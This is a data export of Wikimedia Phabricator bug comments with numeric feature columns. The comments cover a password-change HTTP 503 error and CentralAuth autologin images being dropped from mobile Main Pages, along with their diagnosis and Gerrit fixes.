402410,Users are unable to change account password (HTTP 503),"Confirm, that problem is fixed. The user succeeded log in. Thank you.",,,1421988281,,PHID-USER-5joeladhczukimiv4rwl,False,,,PHID-TASK-rmczrlxfhpv25i6dniyw,task_subcomment,,True,c3,1,False,,,-23,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,19.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.625,0.875,"Confirm, that problem is fixed. The user succeeded log in. Thank you."
402409,Users are unable to change account password (HTTP 503),"Confirm, that problem is fixed. The user succeeded enter. Thank you.",,,1421988224,,PHID-USER-5joeladhczukimiv4rwl,False,,,PHID-TASK-rmczrlxfhpv25i6dniyw,task_subcomment,,True,c3,1,False,,,-23,True,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,20.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8666666666666667,0.8666666666666667,"Confirm, that problem is fixed. The user succeeded enter. Thank you."
402408,Users are unable to change account password (HTTP 503),"Confirm, that problem is fixed. Thank you.",,,1421988137,,PHID-USER-5joeladhczukimiv4rwl,False,,,PHID-TASK-rmczrlxfhpv25i6dniyw,task_subcomment,,True,c3,1,False,,,-23,True,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6,0.9,"Confirm, that problem is fixed. Thank you."
402310,Users are unable to change account password (HTTP 503),"Is this a problem for anyone still? If not, I'd vote to close this bug.",,,1421951311,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-rmczrlxfhpv25i6dniyw,task_subcomment,,True,c3,1,True,,,-23,True,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,11.0,16.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,16.0,5.0,0.0,16.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,5.0,16.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.9473684210526315,"Is this a problem for anyone still? If not, I'd vote to close this bug."
402100,Users are unable to change account password (HTTP 503),hoo removed the code in https://gerrit.wikimedia.org/r/#/c/186132/,,,1421862233,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-rmczrlxfhpv25i6dniyw,task_subcomment,,True,c3,1,True,,,-24,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,1.0,hoo removed the code in URL
402097,Users are unable to change account password (HTTP 503),"Jan 18 06:01:51 mw1018:  #012Fatal error: Call to undefined method CentralAuthUser::getPasswordHash() in /srv/mediawiki/wmf-config/Bug54847.php on line 130
",,,1421862002,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-rmczrlxfhpv25i6dniyw,task_subcomment,,True,c3,1,True,,,-24,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,6.0,0.0,0.0,10.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.548387096774194,0.9032258064516129,"Jan 18 06:01:51 mw1018:  #012Fatal error: Call to undefined method CentralAuthUser::getPasswordHash() in /srv/mediawiki/wmf-config/Bug54847.php on line 130
"
402095,Users are unable to change account password (HTTP 503),@hoo thought this was related to the forced labsdb password resets.,,,1421861735,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-rmczrlxfhpv25i6dniyw,task_subcomment,,True,c3,1,True,,,-24,True,0.0,0.0,0.0,8.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.333333333333333,1.0,SCREEN_NAME thought this was related to the forced labsdb password resets.
87290,CentralAuth AutoLogin not working from mobile site Main Pages,"If I log out of all the WMF sites (or just delete all my cookies), and then log into http://en.m.wikipedia.org, I am automatically logged into the other desktop and mobile Wikipedias, but not the other projects (Commons, Wiktionary, etc.).

Steps to reproduce:
1. Open a totally fresh browser (or delete cookies)
2. Go to https://en.m.wikipedia.org/wiki/Main_Page
3. Log in
4. Go to https://commons.m.wikimedia.org/wiki/Main_Page

Expected result: You are also logged in on Commons

Actual result: You are not logged in on Commons

This only happens on the Main Pages as appears to be caused by CentralAuth's 1x1 images not loading on those pages.

Expected result: You should be logged in.

Actual result: You are not logged in.",Needs Triage,90.0,1421803745,1423704880.0,PHID-USER-a5pveeqqwaddgfjiv2fq,False,PHID-USER-yu5wnmvkjecufsjgh2fa,False,PHID-TASK-zahrcqaapno4kaxpwpqf,task_description,resolved,True,c3,1,False,False,True,-24,True,1.0,0.0,0.5,4.0,2.5,4.0,0.0,0.0,0.0,0.5,4.0,0.0,0.0,0.5,0.0,1.5,0.0,6.0,12.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.5,0.0,0.0,2.5,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,8.5,0.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,2.5,4.0,17.5,0.5,2.5,5.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,4.0,12.0,6.0,0.0,0.0,0.0,4.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,2.0,3.4733333333333336,0.5933333333333333,"If I log out of all the WMF sites (or just delete all my cookies), and then log into URL I am automatically logged into the other desktop and mobile Wikipedias, but not the other projects (Commons, Wiktionary, etc.).

Steps to reproduce:
1. Open a totally fresh browser (or delete cookies)
2. Go to URL
3. Log in
4. Go to URL

Expected result: You are also logged in on Commons

Actual result: You are not logged in on Commons

This only happens on the Main Pages as appears to be caused by CentralAuth's 1x1 images not loading on those pages.

Expected result: You should be logged in.

Actual result: You are not logged in."
410298,CentralAuth AutoLogin not working from mobile site Main Pages,"Want to make sure this doesn't significantly affect the formatting of the Main Page. Here's a screenshot of the English Wikipedia Main Page before the change (in Firefox):

{F39480}",,,1423702540,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-zahrcqaapno4kaxpwpqf,task_subcomment,,True,c3,1,False,,,-20,True,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,8.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,27.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,14.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.162162162162162,0.8378378378378378,"Want to make sure this doesn't significantly affect the formatting of the Main Page. Here's a screenshot of the English Wikipedia Main Page before the change (in Firefox):

{F39480}"
410052,CentralAuth AutoLogin not working from mobile site Main Pages,"Change 189145 merged by jenkins-bot:
Wrap 1x1 images in a div so that MobileFrontend can ignore them

[[https://gerrit.wikimedia.org/r/189145]]",,,1423678984,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zahrcqaapno4kaxpwpqf,task_subcomment,,True,c3,1,False,,,-21,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,4.0,15.0,11.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,11.0,3.740740740740741,0.9259259259259259,"Change 189145 merged by jenkins-bot:
Wrap 1x1 images in a div so that MobileFrontend can ignore them

[[GERRIT_URL]]"
408952,CentralAuth AutoLogin not working from mobile site Main Pages,"Change 189154 merged by MaxSem:
Making MobileFormatter preserve the CentralAuth 1x1 images

[[https://gerrit.wikimedia.org/r/189154]]",,,1423521272,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zahrcqaapno4kaxpwpqf,task_subcomment,,True,c3,1,False,,,-21,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,30.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,15.0,4.8,0.9,"Change 189154 merged by MaxSem:
Making MobileFormatter preserve the CentralAuth 1x1 images

[[GERRIT_URL]]"
408125,CentralAuth AutoLogin not working from mobile site Main Pages,"Change 189154 had a related patch set uploaded (by Kaldari):
Making MobileFormatter preserve the CentralAuth 1x1 images

[[https://gerrit.wikimedia.org/r/189154]]

#patch-for-review",,,1423272613,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zahrcqaapno4kaxpwpqf,task_subcomment,,True,c3,1,False,,,-21,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,18.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,6.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,9.0,4.212121212121212,0.8484848484848485,"Change 189154 had a related patch set uploaded (by Kaldari):
Making MobileFormatter preserve the CentralAuth 1x1 images

[[GERRIT_URL]]

#patch-for-review"
408097,CentralAuth AutoLogin not working from mobile site Main Pages,"Change 189145 had a related patch set uploaded (by Kaldari):
Wrap 1x1 images in a div so that MobileFrontend can ignore them

[[https://gerrit.wikimedia.org/r/189145]]

#patch-for-review",,,1423270266,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zahrcqaapno4kaxpwpqf,task_subcomment,,True,c3,1,False,,,-21,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,13.0,5.0,0.0,5.0,0.0,0.0,0.0,3.0,3.0,0.0,5.0,0.0,3.0,13.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,8.0,3.6578947368421053,0.8421052631578947,"Change 189145 had a related patch set uploaded (by Kaldari):
Wrap 1x1 images in a div so that MobileFrontend can ignore them

[[GERRIT_URL]]

#patch-for-review"
408081,CentralAuth AutoLogin not working from mobile site Main Pages,"I'm going to go ahead and have parseMainPage() ignore them for now, but I think a better long-term solution would be to move the images out of the page content. Perhaps CentralAuth should use the SkinAfterContent hook instead of the BeforePageDisplay hook.",,,1423269202,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-zahrcqaapno4kaxpwpqf,task_subcomment,,True,c3,1,False,,,-21,True,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,8.0,12.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,12.0,0.0,4.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,6.0,12.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,4.3,0.84,"I'm going to go ahead and have parseMainPage() ignore them for now, but I think a better long-term solution would be to move the images out of the page content. Perhaps CentralAuth should use the SkinAfterContent hook instead of the BeforePageDisplay hook."
408047,CentralAuth AutoLogin not working from mobile site Main Pages,"@MaxSem: Actually my 2nd solution wouldn't work well anyway, since it would cause parseMainPage() to built a bunch of extra DOM elements around the images. Unfortunately, the images aren't wrapped in anything; they're just appended at the bottom of the content. So to make parseMainPage() ignore them, we would have to use a hacky regex. We could put the 1x1 images into a div with a special id, like ""central-auth-images"", and have parseMainPage() explicitly preserve that div, but it's a bit weird and fragile for MobileFrontend to explicitly look for a div created by another extension.",,,1423265555,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-zahrcqaapno4kaxpwpqf,task_subcomment,,True,c3,1,False,,,-21,True,0.0,0.5,0.0,0.5,1.0,5.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,2.5,0.0,5.5,10.5,0.5,2.5,0.0,0.5,0.0,0.0,1.0,0.0,0.5,1.0,1.5,0.0,3.5,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,1.0,0.0,0.5,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,0.0,7.5,0.5,4.0,0.5,2.5,9.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,4.0,10.5,2.0,0.0,1.5,0.0,4.0,0.0,0.0,4.5,0.5,0.0,0.0,0.0,0.0,3.9820788530465947,0.7438556067588326,"SCREEN_NAME: Actually my 2nd solution wouldn't work well anyway, since it would cause parseMainPage() to built a bunch of extra DOM elements around the images. Unfortunately, the images aren't wrapped in anything; they're just appended at the bottom of the content. So to make parseMainPage() ignore them, we would have to use a hacky regex. We could put the 1x1 images into a div with a special id, like ""central-auth-images"", and have parseMainPage() explicitly preserve that div, but it's a bit weird and fragile for MobileFrontend to explicitly look for a div created by another extension."
408040,CentralAuth AutoLogin not working from mobile site Main Pages,Make parseMainPage() not touch it?,,,1423264885,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-zahrcqaapno4kaxpwpqf,task_subcomment,,True,c3,1,True,,,-21,True,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,1.0,Make parseMainPage() not touch it?
408038,CentralAuth AutoLogin not working from mobile site Main Pages,"So I think what's happening here is that CentralAuth is inserting the images into the bottom of the content of the Main Page, then MobileFormatter::parseMainPage() is reconstructing the Main Page and not including the CentralAuth images.

There are two possible solutions:
1. Have CentralAuth insert the images somewhere besides the actual article content, e.g. in the footer
2. Have CentralAuth wrap the images in a div with an id that starts with 'mf-' (which prevents parseMainPage from removing it)",,,1423264379,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-zahrcqaapno4kaxpwpqf,task_subcomment,,True,c3,1,False,,,-21,True,0.0,0.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,1.0,2.0,1.0,6.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,1.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,15.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,12.0,4.0,15.0,2.0,1.0,14.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,10.0,8.0,0.0,2.0,0.0,2.0,0.0,3.0,2.0,0.0,5.0,0.0,0.0,1.0,4.447916666666667,0.6666666666666666,"So I think what's happening here is that CentralAuth is inserting the images into the bottom of the content of the Main Page, then MobileFormatter::parseMainPage() is reconstructing the Main Page and not including the CentralAuth images.

There are two possible solutions:
1. Have CentralAuth insert the images somewhere besides the actual article content, e.g. in the footer
2. Have CentralAuth wrap the images in a div with an id that starts with 'mf-' (which prevents parseMainPage from removing it)"
408031,CentralAuth AutoLogin not working from mobile site Main Pages,I split off bug #1 in the previous comment into bug T88860. I will also retitle this bug.,,,1423262512,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-zahrcqaapno4kaxpwpqf,task_subcomment,,True,c3,1,False,,,-21,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,10.0,14.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4285714285714284,0.8095238095238095,I split off bug #1 in the previous comment into bug T88860. I will also retitle this bug.
408023,CentralAuth AutoLogin not working from mobile site Main Pages,"I ran some testcases and got the following results consistently:

Logging into mobile Wikipedia from the Main Page:
    Fails to load 1x1 images
    Fails to log into any sites except desktop Wikipedia

Logging into mobile Wikipedia from an article page:
    Successfully loads 1x1 images
    Successfully logs into all sites except mobile Commons

Logging into mobile Commons from the Main Page:
    Fails to load 1x1 images
    Fails to log into any sites

Logging into mobile Commons from a file page:
    Successfully loads 1x1 images
    Successfully logs into all sites except desktop Commons

Logging into mobile Wiktionary from the Main Page:
    Fails to load 1x1 images
    Fails to log into any sites except desktop Wiktionary

Logging into mobile Wiktionary from a word page:
    Successfully loads 1x1 images
    Successfully logs into all sites except mobile Commons

So there appear to be 2 separate bugs:
1. Authentication sharing between desktop and mobile Commons is totally broken (likely a config issue)
2. If you log in from a mobile Main Page, CentralAuth's EdgeLoginHTML isn't loading into the page",,,1423261825,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-zahrcqaapno4kaxpwpqf,task_subcomment,,True,c3,1,False,,,-21,True,2.3333333333333335,0.0,0.3333333333333333,0.0,0.3333333333333333,4.333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,4.666666666666667,13.0,0.0,2.3333333333333335,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,6.333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,12.666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,4.0,1.3333333333333333,16.333333333333332,2.3333333333333335,0.6666666666666666,6.333333333333333,0.0,0.0,0.0,0.0,2.3333333333333335,0.0,2.0,0.0,0.6666666666666666,13.0,8.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.3333333333333333,4.639544513457557,0.5847481021394064,"I ran some testcases and got the following results consistently:

Logging into mobile Wikipedia from the Main Page:
    Fails to load 1x1 images
    Fails to log into any sites except desktop Wikipedia

Logging into mobile Wikipedia from an article page:
    Successfully loads 1x1 images
    Successfully logs into all sites except mobile Commons

Logging into mobile Commons from the Main Page:
    Fails to load 1x1 images
    Fails to log into any sites

Logging into mobile Commons from a file page:
    Successfully loads 1x1 images
    Successfully logs into all sites except desktop Commons

Logging into mobile Wiktionary from the Main Page:
    Fails to load 1x1 images
    Fails to log into any sites except desktop Wiktionary

Logging into mobile Wiktionary from a word page:
    Successfully loads 1x1 images
    Successfully logs into all sites except mobile Commons

So there appear to be 2 separate bugs:
1. Authentication sharing between desktop and mobile Commons is totally broken (likely a config issue)
2. If you log in from a mobile Main Page, CentralAuth's EdgeLoginHTML isn't loading into the page"
407937,CentralAuth AutoLogin not working from mobile site Main Pages,"It looks like the train deployment did not fix the CentralAuth bug on the group 0 wikis (testwiki, mediawiki).",,,1423252236,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-zahrcqaapno4kaxpwpqf,task_subcomment,,True,c3,1,False,,,-21,True,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,9.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,9.0,17.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.9130434782608695,"It looks like the train deployment did not fix the CentralAuth bug on the group 0 wikis (testwiki, mediawiki)."
405629,CentralAuth AutoLogin not working from mobile site Main Pages,@kaldari ping me when this is deployed on enwiki,,,1422894443,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-zahrcqaapno4kaxpwpqf,task_subcomment,,True,c3,1,True,,,-22,True,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,11.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,11.0,11.0,0.0,0.0,0.0,4.777777777777778,1.0,SCREEN_NAME ping me when this is deployed on enwiki
404990,CentralAuth AutoLogin not working from mobile site Main Pages,"(so my theory/hope is that #2 is just bad configuration on betalabs - domains )
